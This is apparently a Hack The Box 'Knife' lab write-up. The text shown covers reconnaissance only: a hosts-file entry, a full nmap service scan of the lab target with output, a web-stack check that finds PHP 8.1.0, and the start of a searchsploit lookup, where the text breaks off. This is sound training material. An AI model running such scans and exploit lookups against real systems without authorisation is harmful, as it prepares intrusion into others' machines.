[{"data":1,"prerenderedAt":3618},["ShallowReactive",2],{"post-hack-the-box-knife":3,"post-list":3354},{"id":4,"title":5,"alsoIn":6,"body":7,"category":3339,"date":3340,"description":3341,"draft":3342,"extension":3343,"image":3344,"links":6,"meta":3345,"navigation":70,"order":6,"path":3346,"readingTime":83,"seo":3347,"series":6,"stem":3348,"strength":3349,"tags":3350,"unlisted":3342,"updated":6,"__hash__":3353},"posts\u002Fposts\u002Fhack-the-box-knife.md","Hack The Box: Knife",null,{"type":8,"value":9,"toc":3337},"minimark",[10,14,148,151,1358,1361,1367,1370,1375,1378,1848,1851,1989,1992,2057,2060,2172,2175,2318,2321,2466,2469,3218,3221,3325,3328,3333],[11,12,13],"p",{},"First, as always, I edit the hosts file so that I don't have to remember the IP of the room.",[15,16,17],"terminal",{},[18,19,24],"pre",{"className":20,"code":21,"language":22,"meta":23,"style":23},"language-bash shiki shiki-themes gruvbox-dark-medium","┌─[root@htb-sknjhnbkwa]─[\u002Fhome\u002Fnobrac]\n└──╼ #cat \u002Fetc\u002Fhosts\n127.0.0.1 localhost\n127.0.1.1 debian12-parrot\n\n10.129.215.155 knife.htb\n\n# The following lines are desirable for IPv6 capable hosts\n::1 localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.0.0.1 localhost\n127.0.1.1 htb-sknjhnbkwa htb-sknjhnbkwa.htb-cloud.com\n","bash","",[25,26,27,36,46,56,65,72,81,86,92,111,120,129,137],"code",{"__ignoreMap":23},[28,29,32],"span",{"class":30,"line":31},"line",1,[28,33,35],{"class":34},"s59W0","┌─[root@htb-sknjhnbkwa]─[\u002Fhome\u002Fnobrac]\n",[28,37,39,42],{"class":30,"line":38},2,[28,40,41],{"class":34},"└──╼",[28,43,45],{"class":44},"s-UKz"," #cat \u002Fetc\u002Fhosts\n",[28,47,49,52],{"class":30,"line":48},3,[28,50,51],{"class":34},"127.0.0.1",[28,53,55],{"class":54},"sTqo2"," localhost\n",[28,57,59,62],{"class":30,"line":58},4,[28,60,61],{"class":34},"127.0.1.1",[28,63,64],{"class":54}," debian12-parrot\n",[28,66,68],{"class":30,"line":67},5,[28,69,71],{"emptyLinePlaceholder":70},true,"\n",[28,73,75,78],{"class":30,"line":74},6,[28,76,77],{"class":34},"10.129.215.155",[28,79,80],{"class":54}," knife.htb\n",[28,82,84],{"class":30,"line":83},7,[28,85,71],{"emptyLinePlaceholder":70},[28,87,89],{"class":30,"line":88},8,[28,90,91],{"class":44},"# The following lines are desirable for IPv6 capable hosts\n",[28,93,95,99,102,105,108],{"class":30,"line":94},9,[28,96,98],{"class":97},"sG605",":",[28,100,101],{"class":54},":1",[28,103,104],{"class":54}," localhost",[28,106,107],{"class":54}," ip6-localhost",[28,109,110],{"class":54}," ip6-loopback\n",[28,112,114,117],{"class":30,"line":113},10,[28,115,116],{"class":34},"ff02::1",[28,118,119],{"class":54}," ip6-allnodes\n",[28,121,123,126],{"class":30,"line":122},11,[28,124,125],{"class":34},"ff02::2",[28,127,128],{"class":54}," ip6-allrouters\n",[28,130,132,134],{"class":30,"line":131},12,[28,133,51],{"class":34},[28,135,136],{"class":54}," localhost\n",[28,138,140,142,145],{"class":30,"line":139},13,[28,141,61],{"class":34},[28,143,144],{"class":54}," htb-sknjhnbkwa",[28,146,147],{"class":54}," htb-sknjhnbkwa.htb-cloud.com\n",[11,149,150],{},"I then perform an NMAP scan.",[15,152,153],{},[18,154,156],{"className":20,"code":155,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ nmap knife.htb -vv -sV -sC\nStarting Nmap 7.94SVN ( https:\u002F\u002Fnmap.org ) at 2024-07-15 11:08 CDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nInitiating Ping Scan at 11:08\nScanning knife.htb (10.129.215.155) [4 ports]\nCompleted Ping Scan at 11:08, 0.03s elapsed (1 total hosts)\nInitiating SYN Stealth Scan at 11:08\nScanning knife.htb (10.129.215.155) [1000 ports]\nDiscovered open port 22\u002Ftcp on 10.129.215.155\nDiscovered open port 80\u002Ftcp on 10.129.215.155\nCompleted SYN Stealth Scan at 11:08, 0.20s elapsed (1000 total ports)\nInitiating Service scan at 11:08\nScanning 2 services on knife.htb (10.129.215.155)\nCompleted Service scan at 11:08, 6.04s elapsed (2 services on 1 host)\nNSE: Script scanning 10.129.215.155.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.35s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.04s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nNmap scan report for knife.htb (10.129.215.155)\nHost is up, received reset ttl 63 (0.0087s latency).\nScanned at 2024-07-15 11:08:06 CDT for 6s\nNot shown: 998 closed tcp ports (reset)\nPORT STATE SERVICE REASON VERSION\n22\u002Ftcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjEtN3+WZzlvu54zya9Q+D0d\u002FjwjZT2jYFKwHe0icY7plEWSAqbP+b3ijRL6kv522KEJPHkfXuRwzt5z4CNpyUnqr6nQINn8DU0Iu\u002FUQby+6OiQIleNUCYYaI+1mV0sm4kgmue4oVI1Q3JYOH41efTbGDFHiGSTY1lH3HcAvOFh75dCID0564T078p7ZEIoKRt1l7Yz+GeMZ870Nw13ao0QLPmq2HnpQS34K45zU0lmxIHqiK\u002FIpFJOLfugiQF52Qt6+gX3FOjPgxk8rk81DEwicTrlir2gJiizAOchNPZjbDCnG2UqTapOm292Xg0hCE6H03Ri6GtYs5xVFw\u002FKfGSGb7OJT1jhitbpUxRbyvP+pFy4\u002F8u6Ty91s98bXrCyaEy2lyZh5hm7MN2yRsX+UbrSo98UfMbHkKnePg7\u002FoBhGOOrUb77\u002FDPePGeBF5AT029Xbz90v2iEFfPdcWj8SP\u002Fp2Fsn\u002FqdutNQ7cRnNvBVXbNm0CpiNfoHBCBDJ1LR8p8k=\n| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKC3ouVMPI\u002F5R2Fsr5b0uUQGDrAa6ev8uKKp5x8wdqPXvM1tr4u0GchbVoTX5T\u002FPfJFi9UpeDx\u002FuokU3chqcFc=\n| 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJbkxEqMn++HZ2uEvM0lDZy+TB8B8IAeWRBEu3a34YIb\n80\u002Ftcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Emergent Medical Idea\n|_http-server-header: Apache\u002F2.4.41 (Ubuntu)\nService Info: OS: Linux; CPE: cpe:\u002Fo:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:08\nCompleted NSE at 11:08, 0.00s elapsed\nRead data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\nService detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\nNmap done: 1 IP address (1 host up) scanned in 7.07 seconds\n Raw packets sent: 1004 (44.152KB) | Rcvd: 1002 (40.132KB)\n",[25,157,158,163,171,191,212,222,244,258,276,293,303,317,334,344,359,374,398,429,446,464,485,501,530,545,562,595,608,625,636,652,669,680,696,713,724,739,756,789,811,834,852,900,913,927,938,952,963,976,987,1017,1027,1053,1070,1084,1107,1112,1122,1139,1150,1165,1182,1193,1208,1225,1236,1251,1269,1302,1329],{"__ignoreMap":23},[28,159,160],{"class":30,"line":31},[28,161,162],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n",[28,164,165,167],{"class":30,"line":38},[28,166,41],{"class":34},[28,168,170],{"class":169},"sM0OT"," [★]$ nmap knife.htb -vv -sV -sC\n",[28,172,173,176,179,182,185,188],{"class":30,"line":48},[28,174,175],{"class":34},"Starting",[28,177,178],{"class":54}," Nmap",[28,180,181],{"class":54}," 7.94SVN",[28,183,184],{"class":169}," ( ",[28,186,187],{"class":54},"https:\u002F\u002Fnmap.org",[28,189,190],{"class":169}," ) at 2024-07-15 11:08 CDT\n",[28,192,193,196,199,203,206,209],{"class":30,"line":58},[28,194,195],{"class":34},"NSE:",[28,197,198],{"class":54}," Loaded",[28,200,202],{"class":201},"ssIPD"," 156",[28,204,205],{"class":54}," scripts",[28,207,208],{"class":54}," for",[28,210,211],{"class":54}," scanning.\n",[28,213,214,216,219],{"class":30,"line":67},[28,215,195],{"class":34},[28,217,218],{"class":54}," Script",[28,220,221],{"class":54}," Pre-scanning.\n",[28,223,224,226,229,232,235,238,241],{"class":30,"line":74},[28,225,195],{"class":34},[28,227,228],{"class":54}," Starting",[28,230,231],{"class":54}," runlevel",[28,233,234],{"class":201}," 1",[28,236,237],{"class":169}," (of ",[28,239,240],{"class":201},"3",[28,242,243],{"class":169},") scan.\n",[28,245,246,249,252,255],{"class":30,"line":83},[28,247,248],{"class":34},"Initiating",[28,250,251],{"class":54}," NSE",[28,253,254],{"class":54}," at",[28,256,257],{"class":54}," 11:08\n",[28,259,260,263,265,267,270,273],{"class":30,"line":88},[28,261,262],{"class":34},"Completed",[28,264,251],{"class":54},[28,266,254],{"class":54},[28,268,269],{"class":54}," 11:08,",[28,271,272],{"class":54}," 0.00s",[28,274,275],{"class":54}," elapsed\n",[28,277,278,280,282,284,287,289,291],{"class":30,"line":94},[28,279,195],{"class":34},[28,281,228],{"class":54},[28,283,231],{"class":54},[28,285,286],{"class":201}," 2",[28,288,237],{"class":169},[28,290,240],{"class":201},[28,292,243],{"class":169},[28,294,295,297,299,301],{"class":30,"line":113},[28,296,248],{"class":34},[28,298,251],{"class":54},[28,300,254],{"class":54},[28,302,257],{"class":54},[28,304,305,307,309,311,313,315],{"class":30,"line":122},[28,306,262],{"class":34},[28,308,251],{"class":54},[28,310,254],{"class":54},[28,312,269],{"class":54},[28,314,272],{"class":54},[28,316,275],{"class":54},[28,318,319,321,323,325,328,330,332],{"class":30,"line":131},[28,320,195],{"class":34},[28,322,228],{"class":54},[28,324,231],{"class":54},[28,326,327],{"class":201}," 3",[28,329,237],{"class":169},[28,331,240],{"class":201},[28,333,243],{"class":169},[28,335,336,338,340,342],{"class":30,"line":139},[28,337,248],{"class":34},[28,339,251],{"class":54},[28,341,254],{"class":54},[28,343,257],{"class":54},[28,345,347,349,351,353,355,357],{"class":30,"line":346},14,[28,348,262],{"class":34},[28,350,251],{"class":54},[28,352,254],{"class":54},[28,354,269],{"class":54},[28,356,272],{"class":54},[28,358,275],{"class":54},[28,360,362,364,367,370,372],{"class":30,"line":361},15,[28,363,248],{"class":34},[28,365,366],{"class":54}," Ping",[28,368,369],{"class":54}," Scan",[28,371,254],{"class":54},[28,373,257],{"class":54},[28,375,377,380,383,386,389,392,395],{"class":30,"line":376},16,[28,378,379],{"class":34},"Scanning",[28,381,382],{"class":54}," knife.htb",[28,384,385],{"class":169}," (10.129.215.155) ",[28,387,388],{"class":97},"[",[28,390,391],{"class":201},"4",[28,393,394],{"class":169}," ports",[28,396,397],{"class":97},"]\n",[28,399,401,403,405,407,409,411,414,417,420,423,426],{"class":30,"line":400},17,[28,402,262],{"class":34},[28,404,366],{"class":54},[28,406,369],{"class":54},[28,408,254],{"class":54},[28,410,269],{"class":54},[28,412,413],{"class":54}," 0.03s",[28,415,416],{"class":54}," elapsed",[28,418,419],{"class":169}," (1 ",[28,421,422],{"class":54},"total",[28,424,425],{"class":54}," hosts",[28,427,428],{"class":169},")\n",[28,430,432,434,437,440,442,444],{"class":30,"line":431},18,[28,433,248],{"class":34},[28,435,436],{"class":54}," SYN",[28,438,439],{"class":54}," Stealth",[28,441,369],{"class":54},[28,443,254],{"class":54},[28,445,257],{"class":54},[28,447,449,451,453,455,457,460,462],{"class":30,"line":448},19,[28,450,379],{"class":34},[28,452,382],{"class":54},[28,454,385],{"class":169},[28,456,388],{"class":97},[28,458,459],{"class":201},"1000",[28,461,394],{"class":169},[28,463,397],{"class":97},[28,465,467,470,473,476,479,482],{"class":30,"line":466},20,[28,468,469],{"class":34},"Discovered",[28,471,472],{"class":54}," open",[28,474,475],{"class":54}," port",[28,477,478],{"class":54}," 22\u002Ftcp",[28,480,481],{"class":54}," on",[28,483,484],{"class":201}," 10.129.215.155\n",[28,486,488,490,492,494,497,499],{"class":30,"line":487},21,[28,489,469],{"class":34},[28,491,472],{"class":54},[28,493,475],{"class":54},[28,495,496],{"class":54}," 80\u002Ftcp",[28,498,481],{"class":54},[28,500,484],{"class":201},[28,502,504,506,508,510,512,514,516,519,521,524,526,528],{"class":30,"line":503},22,[28,505,262],{"class":34},[28,507,436],{"class":54},[28,509,439],{"class":54},[28,511,369],{"class":54},[28,513,254],{"class":54},[28,515,269],{"class":54},[28,517,518],{"class":54}," 0.20s",[28,520,416],{"class":54},[28,522,523],{"class":169}," (1000 ",[28,525,422],{"class":54},[28,527,394],{"class":54},[28,529,428],{"class":169},[28,531,533,535,538,541,543],{"class":30,"line":532},23,[28,534,248],{"class":34},[28,536,537],{"class":54}," Service",[28,539,540],{"class":54}," scan",[28,542,254],{"class":54},[28,544,257],{"class":54},[28,546,548,550,552,555,557,559],{"class":30,"line":547},24,[28,549,379],{"class":34},[28,551,286],{"class":201},[28,553,554],{"class":54}," services",[28,556,481],{"class":54},[28,558,382],{"class":54},[28,560,561],{"class":169}," (10.129.215.155)\n",[28,563,565,567,569,571,573,575,578,580,583,586,588,590,593],{"class":30,"line":564},25,[28,566,262],{"class":34},[28,568,537],{"class":54},[28,570,540],{"class":54},[28,572,254],{"class":54},[28,574,269],{"class":54},[28,576,577],{"class":54}," 6.04s",[28,579,416],{"class":54},[28,581,582],{"class":169}," (2 ",[28,584,585],{"class":54},"services",[28,587,481],{"class":54},[28,589,234],{"class":201},[28,591,592],{"class":54}," host",[28,594,428],{"class":169},[28,596,598,600,602,605],{"class":30,"line":597},26,[28,599,195],{"class":34},[28,601,218],{"class":54},[28,603,604],{"class":54}," scanning",[28,606,607],{"class":54}," 10.129.215.155.\n",[28,609,611,613,615,617,619,621,623],{"class":30,"line":610},27,[28,612,195],{"class":34},[28,614,228],{"class":54},[28,616,231],{"class":54},[28,618,234],{"class":201},[28,620,237],{"class":169},[28,622,240],{"class":201},[28,624,243],{"class":169},[28,626,628,630,632,634],{"class":30,"line":627},28,[28,629,248],{"class":34},[28,631,251],{"class":54},[28,633,254],{"class":54},[28,635,257],{"class":54},[28,637,639,641,643,645,647,650],{"class":30,"line":638},29,[28,640,262],{"class":34},[28,642,251],{"class":54},[28,644,254],{"class":54},[28,646,269],{"class":54},[28,648,649],{"class":54}," 0.35s",[28,651,275],{"class":54},[28,653,655,657,659,661,663,665,667],{"class":30,"line":654},30,[28,656,195],{"class":34},[28,658,228],{"class":54},[28,660,231],{"class":54},[28,662,286],{"class":201},[28,664,237],{"class":169},[28,666,240],{"class":201},[28,668,243],{"class":169},[28,670,672,674,676,678],{"class":30,"line":671},31,[28,673,248],{"class":34},[28,675,251],{"class":54},[28,677,254],{"class":54},[28,679,257],{"class":54},[28,681,683,685,687,689,691,694],{"class":30,"line":682},32,[28,684,262],{"class":34},[28,686,251],{"class":54},[28,688,254],{"class":54},[28,690,269],{"class":54},[28,692,693],{"class":54}," 0.04s",[28,695,275],{"class":54},[28,697,699,701,703,705,707,709,711],{"class":30,"line":698},33,[28,700,195],{"class":34},[28,702,228],{"class":54},[28,704,231],{"class":54},[28,706,327],{"class":201},[28,708,237],{"class":169},[28,710,240],{"class":201},[28,712,243],{"class":169},[28,714,716,718,720,722],{"class":30,"line":715},34,[28,717,248],{"class":34},[28,719,251],{"class":54},[28,721,254],{"class":54},[28,723,257],{"class":54},[28,725,727,729,731,733,735,737],{"class":30,"line":726},35,[28,728,262],{"class":34},[28,730,251],{"class":54},[28,732,254],{"class":54},[28,734,269],{"class":54},[28,736,272],{"class":54},[28,738,275],{"class":54},[28,740,742,745,747,750,752,754],{"class":30,"line":741},36,[28,743,744],{"class":34},"Nmap",[28,746,540],{"class":54},[28,748,749],{"class":54}," report",[28,751,208],{"class":54},[28,753,382],{"class":54},[28,755,561],{"class":169},[28,757,759,762,765,768,771,774,777,780,783,786],{"class":30,"line":758},37,[28,760,761],{"class":34},"Host",[28,763,764],{"class":54}," is",[28,766,767],{"class":54}," up,",[28,769,770],{"class":54}," received",[28,772,773],{"class":54}," reset",[28,775,776],{"class":54}," ttl",[28,778,779],{"class":201}," 63",[28,781,782],{"class":169}," (0.0087s ",[28,784,785],{"class":54},"latency",[28,787,788],{"class":169},").\n",[28,790,792,795,797,800,803,806,808],{"class":30,"line":791},38,[28,793,794],{"class":34},"Scanned",[28,796,254],{"class":54},[28,798,799],{"class":54}," 2024-07-15",[28,801,802],{"class":54}," 11:08:06",[28,804,805],{"class":54}," CDT",[28,807,208],{"class":54},[28,809,810],{"class":54}," 6s\n",[28,812,814,817,820,823,826,829,831],{"class":30,"line":813},39,[28,815,816],{"class":34},"Not",[28,818,819],{"class":54}," shown:",[28,821,822],{"class":201}," 998",[28,824,825],{"class":54}," closed",[28,827,828],{"class":54}," tcp",[28,830,394],{"class":54},[28,832,833],{"class":169}," (reset)\n",[28,835,837,840,843,846,849],{"class":30,"line":836},40,[28,838,839],{"class":34},"PORT",[28,841,842],{"class":54}," STATE",[28,844,845],{"class":54}," SERVICE",[28,847,848],{"class":54}," REASON",[28,850,851],{"class":54}," VERSION\n",[28,853,855,858,860,863,866,868,870,873,876,879,882,885,888,892,895,898],{"class":30,"line":854},41,[28,856,857],{"class":34},"22\u002Ftcp",[28,859,472],{"class":54},[28,861,862],{"class":54}," ssh",[28,864,865],{"class":54}," syn-ack",[28,867,776],{"class":54},[28,869,779],{"class":201},[28,871,872],{"class":54}," OpenSSH",[28,874,875],{"class":54}," 8.2p1",[28,877,878],{"class":54}," Ubuntu",[28,880,881],{"class":54}," 4ubuntu0.2",[28,883,884],{"class":169}," (Ubuntu ",[28,886,887],{"class":54},"Linux",[28,889,891],{"class":890},"svnLg",";",[28,893,894],{"class":34}," protocol",[28,896,897],{"class":201}," 2.0",[28,899,428],{"class":169},[28,901,903,907,910],{"class":30,"line":902},42,[28,904,906],{"class":905},"sM2RB","|",[28,908,909],{"class":34}," ssh-hostkey:",[28,911,912],{"class":169}," \n",[28,914,916,918,921,924],{"class":30,"line":915},43,[28,917,906],{"class":905},[28,919,920],{"class":34}," 3072",[28,922,923],{"class":54}," be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21",[28,925,926],{"class":169}," (RSA)\n",[28,928,930,932,935],{"class":30,"line":929},44,[28,931,906],{"class":905},[28,933,934],{"class":34}," ssh-rsa",[28,936,937],{"class":54}," AAAAB3NzaC1yc2EAAAADAQABAAABgQCjEtN3+WZzlvu54zya9Q+D0d\u002FjwjZT2jYFKwHe0icY7plEWSAqbP+b3ijRL6kv522KEJPHkfXuRwzt5z4CNpyUnqr6nQINn8DU0Iu\u002FUQby+6OiQIleNUCYYaI+1mV0sm4kgmue4oVI1Q3JYOH41efTbGDFHiGSTY1lH3HcAvOFh75dCID0564T078p7ZEIoKRt1l7Yz+GeMZ870Nw13ao0QLPmq2HnpQS34K45zU0lmxIHqiK\u002FIpFJOLfugiQF52Qt6+gX3FOjPgxk8rk81DEwicTrlir2gJiizAOchNPZjbDCnG2UqTapOm292Xg0hCE6H03Ri6GtYs5xVFw\u002FKfGSGb7OJT1jhitbpUxRbyvP+pFy4\u002F8u6Ty91s98bXrCyaEy2lyZh5hm7MN2yRsX+UbrSo98UfMbHkKnePg7\u002FoBhGOOrUb77\u002FDPePGeBF5AT029Xbz90v2iEFfPdcWj8SP\u002Fp2Fsn\u002FqdutNQ7cRnNvBVXbNm0CpiNfoHBCBDJ1LR8p8k=\n",[28,939,941,943,946,949],{"class":30,"line":940},45,[28,942,906],{"class":905},[28,944,945],{"class":34}," 256",[28,947,948],{"class":54}," bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee",[28,950,951],{"class":169}," (ECDSA)\n",[28,953,955,957,960],{"class":30,"line":954},46,[28,956,906],{"class":905},[28,958,959],{"class":34}," ecdsa-sha2-nistp256",[28,961,962],{"class":54}," AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGKC3ouVMPI\u002F5R2Fsr5b0uUQGDrAa6ev8uKKp5x8wdqPXvM1tr4u0GchbVoTX5T\u002FPfJFi9UpeDx\u002FuokU3chqcFc=\n",[28,964,966,968,970,973],{"class":30,"line":965},47,[28,967,906],{"class":905},[28,969,945],{"class":34},[28,971,972],{"class":54}," 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84",[28,974,975],{"class":169}," (ED25519)\n",[28,977,979,981,984],{"class":30,"line":978},48,[28,980,906],{"class":905},[28,982,983],{"class":34},"_ssh-ed25519",[28,985,986],{"class":54}," AAAAC3NzaC1lZDI1NTE5AAAAIJbkxEqMn++HZ2uEvM0lDZy+TB8B8IAeWRBEu3a34YIb\n",[28,988,990,993,995,998,1001,1003,1005,1008,1011,1014],{"class":30,"line":989},49,[28,991,992],{"class":34},"80\u002Ftcp",[28,994,472],{"class":54},[28,996,997],{"class":54}," http",[28,999,1000],{"class":54}," syn-ack",[28,1002,776],{"class":54},[28,1004,779],{"class":201},[28,1006,1007],{"class":54}," Apache",[28,1009,1010],{"class":54}," httpd",[28,1012,1013],{"class":201}," 2.4.41",[28,1015,1016],{"class":169}," ((Ubuntu))\n",[28,1018,1020,1022,1025],{"class":30,"line":1019},50,[28,1021,906],{"class":905},[28,1023,1024],{"class":34}," http-methods:",[28,1026,912],{"class":169},[28,1028,1030,1032,1035,1038,1041,1044,1047,1050],{"class":30,"line":1029},51,[28,1031,906],{"class":905},[28,1033,1034],{"class":34},"_",[28,1036,1037],{"class":54}," Supported",[28,1039,1040],{"class":54}," Methods:",[28,1042,1043],{"class":54}," GET",[28,1045,1046],{"class":54}," HEAD",[28,1048,1049],{"class":54}," POST",[28,1051,1052],{"class":54}," OPTIONS\n",[28,1054,1056,1058,1061,1064,1067],{"class":30,"line":1055},52,[28,1057,906],{"class":905},[28,1059,1060],{"class":34},"_http-title:",[28,1062,1063],{"class":54}," Emergent",[28,1065,1066],{"class":54}," Medical",[28,1068,1069],{"class":54}," Idea\n",[28,1071,1073,1075,1078,1081],{"class":30,"line":1072},53,[28,1074,906],{"class":905},[28,1076,1077],{"class":34},"_http-server-header:",[28,1079,1080],{"class":54}," Apache\u002F2.4.41",[28,1082,1083],{"class":169}," (Ubuntu)\n",[28,1085,1087,1090,1093,1096,1099,1101,1104],{"class":30,"line":1086},54,[28,1088,1089],{"class":34},"Service",[28,1091,1092],{"class":54}," Info:",[28,1094,1095],{"class":54}," OS:",[28,1097,1098],{"class":54}," Linux",[28,1100,891],{"class":890},[28,1102,1103],{"class":34}," CPE:",[28,1105,1106],{"class":54}," cpe:\u002Fo:linux:linux_kernel\n",[28,1108,1110],{"class":30,"line":1109},55,[28,1111,71],{"emptyLinePlaceholder":70},[28,1113,1115,1117,1119],{"class":30,"line":1114},56,[28,1116,195],{"class":34},[28,1118,218],{"class":54},[28,1120,1121],{"class":54}," Post-scanning.\n",[28,1123,1125,1127,1129,1131,1133,1135,1137],{"class":30,"line":1124},57,[28,1126,195],{"class":34},[28,1128,228],{"class":54},[28,1130,231],{"class":54},[28,1132,234],{"class":201},[28,1134,237],{"class":169},[28,1136,240],{"class":201},[28,1138,243],{"class":169},[28,1140,1142,1144,1146,1148],{"class":30,"line":1141},58,[28,1143,248],{"class":34},[28,1145,251],{"class":54},[28,1147,254],{"class":54},[28,1149,257],{"class":54},[28,1151,1153,1155,1157,1159,1161,1163],{"class":30,"line":1152},59,[28,1154,262],{"class":34},[28,1156,251],{"class":54},[28,1158,254],{"class":54},[28,1160,269],{"class":54},[28,1162,272],{"class":54},[28,1164,275],{"class":54},[28,1166,1168,1170,1172,1174,1176,1178,1180],{"class":30,"line":1167},60,[28,1169,195],{"class":34},[28,1171,228],{"class":54},[28,1173,231],{"class":54},[28,1175,286],{"class":201},[28,1177,237],{"class":169},[28,1179,240],{"class":201},[28,1181,243],{"class":169},[28,1183,1185,1187,1189,1191],{"class":30,"line":1184},61,[28,1186,248],{"class":34},[28,1188,251],{"class":54},[28,1190,254],{"class":54},[28,1192,257],{"class":54},[28,1194,1196,1198,1200,1202,1204,1206],{"class":30,"line":1195},62,[28,1197,262],{"class":34},[28,1199,251],{"class":54},[28,1201,254],{"class":54},[28,1203,269],{"class":54},[28,1205,272],{"class":54},[28,1207,275],{"class":54},[28,1209,1211,1213,1215,1217,1219,1221,1223],{"class":30,"line":1210},63,[28,1212,195],{"class":34},[28,1214,228],{"class":54},[28,1216,231],{"class":54},[28,1218,327],{"class":201},[28,1220,237],{"class":169},[28,1222,240],{"class":201},[28,1224,243],{"class":169},[28,1226,1228,1230,1232,1234],{"class":30,"line":1227},64,[28,1229,248],{"class":34},[28,1231,251],{"class":54},[28,1233,254],{"class":54},[28,1235,257],{"class":54},[28,1237,1239,1241,1243,1245,1247,1249],{"class":30,"line":1238},65,[28,1240,262],{"class":34},[28,1242,251],{"class":54},[28,1244,254],{"class":54},[28,1246,269],{"class":54},[28,1248,272],{"class":54},[28,1250,275],{"class":54},[28,1252,1254,1257,1260,1263,1266],{"class":30,"line":1253},66,[28,1255,1256],{"class":34},"Read",[28,1258,1259],{"class":54}," data",[28,1261,1262],{"class":54}," files",[28,1264,1265],{"class":54}," from:",[28,1267,1268],{"class":54}," \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\n",[28,1270,1272,1274,1277,1280,1283,1285,1288,1291,1294,1296,1299],{"class":30,"line":1271},67,[28,1273,1089],{"class":34},[28,1275,1276],{"class":54}," detection",[28,1278,1279],{"class":54}," performed.",[28,1281,1282],{"class":54}," Please",[28,1284,749],{"class":54},[28,1286,1287],{"class":54}," any",[28,1289,1290],{"class":54}," incorrect",[28,1292,1293],{"class":54}," results",[28,1295,254],{"class":54},[28,1297,1298],{"class":54}," https:\u002F\u002Fnmap.org\u002Fsubmit\u002F",[28,1300,1301],{"class":54}," .\n",[28,1303,1305,1307,1310,1312,1315,1318,1320,1323,1326],{"class":30,"line":1304},68,[28,1306,744],{"class":34},[28,1308,1309],{"class":54}," done:",[28,1311,234],{"class":201},[28,1313,1314],{"class":54}," IP",[28,1316,1317],{"class":54}," address",[28,1319,419],{"class":169},[28,1321,1322],{"class":54},"host",[28,1324,1325],{"class":54}," up",[28,1327,1328],{"class":169},") scanned in 7.07 seconds\n",[28,1330,1332,1335,1338,1341,1344,1347,1349,1352,1355],{"class":30,"line":1331},69,[28,1333,1334],{"class":34}," Raw",[28,1336,1337],{"class":54}," packets",[28,1339,1340],{"class":54}," sent:",[28,1342,1343],{"class":201}," 1004",[28,1345,1346],{"class":169}," (44.152KB) ",[28,1348,906],{"class":905},[28,1350,1351],{"class":34}," Rcvd:",[28,1353,1354],{"class":201}," 1002",[28,1356,1357],{"class":169}," (40.132KB)\n",[11,1359,1360],{},"Ports 22 and 80 are open. So I try to access the website.",[11,1362,1363],{},[1364,1365],"img",{"alt":23,"src":1366},"\u002Fimages\u002Fposts\u002Fhack-the-box-knife\u002Fattachments\u002Fimage-20240716215400224.webp",[11,1368,1369],{},"I use the Wappalyzer add-on to check how the website is structured. The site runs on Ubuntu with an Apache web server and PHP 8.1.0.",[11,1371,1372],{},[1364,1373],{"alt":23,"src":1374},"\u002Fimages\u002Fposts\u002Fhack-the-box-knife\u002Fattachments\u002Fimage-20240716215454846.webp",[11,1376,1377],{},"I then use Searchsploit to check whether there are any useful exploits for PHP 8.1.0.",[15,1379,1380],{},[18,1381,1383],{"className":20,"code":1382,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-sknjhnbkwa]─[~]\n└──╼ [★]$ searchsploit PHP 8.1.0\n---------------------------------------------- ---------------------------------\n Exploit Title | Path\n---------------------------------------------- ---------------------------------\nautonomous lan party 0.98.1.0 - Remote File I | php\u002Fwebapps\u002F1654.txt\nComposr-CMS Version \u003C=10.0.39 - Authenticated | php\u002Fwebapps\u002F51060.txt\nConcrete5 CMS 8.1.0 - 'Host' Header Injection | 